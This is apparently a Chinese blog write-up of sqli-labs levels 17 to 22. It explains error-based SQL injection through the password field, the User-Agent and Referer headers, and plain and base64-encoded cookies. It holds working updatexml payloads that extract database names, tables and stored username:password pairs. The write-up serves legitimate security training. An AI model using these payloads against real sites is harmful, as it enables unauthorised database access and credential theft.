Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less17-22 Writeup

本文共计有2927个字

前言

个人认为,这几关的目的是在引导我们往其他注入点考虑,包括对password的注入、ip注入、cookie注入,而不单单像前面十几关那样只对username(或者说id)进行注入。这几关通过查看源码才能更方便讲解。

Less-17

查看源码的后台检查部分

《Sqli-labs Less17-22 Writeup》可以发现对username进行check_input的方法调用,而check_input方法中使用了这个挺无敌的函数mysql_real_escape_string(),一般的注入是无法成功的。但是往下看可以发现后台并没有对password进行check_input的检查,所以考虑对password下手。再往下可以发现一个查询语句:

《Sqli-labs Less17-22 Writeup》

因此可以确定要利用这个语句对password进行常规的注入操作了。

这里需要注意的是,在对password注入之前应该确保username是存在于数据库中的(也就是说要提前知道账号),而恰好admin就是其中一个账号。所以我们在username为admin的同时对password进行updatexml报错注入:

1' and updatexml(1,concat(1,database()),1)#
1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#
1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)),1)#

前三个语句都可以正常查询,而第四个语句会报错:You can’t specify target table ‘user’ for update in FROM clause。属于sql语法报错,它的意思是说:不能先select出同一表中的某些值,再update这个表(在同一语句中),即不能依据某字段值做判断再来更新某字段的值。

解决办法是先将SELECT出的结果保存在中间表中,然后再对中间表SELECT一遍。也就是说:把结果集当作一个表,自我查询一遍:

1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from (select * from security.users)a limit 0,1)),1)#

Less-18

查看后台检查部分的源码:

《Sqli-labs Less17-22 Writeup》

同时对username和password进行了check_input方法的调用,看来无法在这两者上面搞事情了。再继续往下看,发现当登陆成功之后,还存在另一个查询语句:

《Sqli-labs Less17-22 Writeup》

这个语句中存在另外两个新的变量:uagent和ip,这两个变量的值:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

所以我们可以通过对这两个变量进行注入。在这里选择对uagent注入,通过burpsuite抓包后修改头部信息中的useragent的值即可实现。

为什么不通过X-Forwarded-For修改IP来注入?这是因为获取IP则使用了REMOTE_ADDR,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,并非修改XFF头就可以更改的。

具体的改包操作就不演示了,这里只关注payload的格式:根据查询语句:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

可以看到uagent的前后存在着单引号和逗号的闭合,所以需要修改一下payload的格式:

1',updatexml(1,concat(1,database()),1),1)#
1',updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
1',updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#
1',updatexml(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)),1)#

需要注意的是,这一切操作都是得在登录成功之后才能够进行的,也就是说需要提前知道账号和密码,这里恰好账号密码都可以用admin来登陆。

Less-19

观察源代码可以发现仍然是对username和password进行了check_input检查,所以寻找下一个查询语句,在登录成功之后存在:

《Sqli-labs Less17-22 Writeup》

再看看uagent和ip变量的值:

$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

与上一关原理相同,只不过这次抓包之后修改的是头部的referer内容了,其payload与上一关相同。

Less-20

仍然无法对username和password下手,发现另一个查询语句:

《Sqli-labs Less17-22 Writeup》

其中cookee变量的值:

$cookee = $_COOKIE['uname'];

所以可以通过抓包修改头部的cookie的uname值实现注入,又由于查询语句不存在逗号,所以其payload格式应当改为(以爆库为例):

uname=admin' and updatexml(1,concat(1,database()),1),1)#

Less-21

与上一关基本相同,只不过对cookie进行了base64解码,所以我们在构造payload之后需要进行一次base64编码,对爆库payload编码之后可得:

YWRtaW4lMjclMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=

Less-22

仍然是cookie注入结合base64编码,不同的地方在于查询语句中的闭合方式不是单引号了,而是双引号,所以把爆库payload修改之后进行编码可得:

YWRtaW4lMjIlMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=

参考文章

von大佬的文章

点赞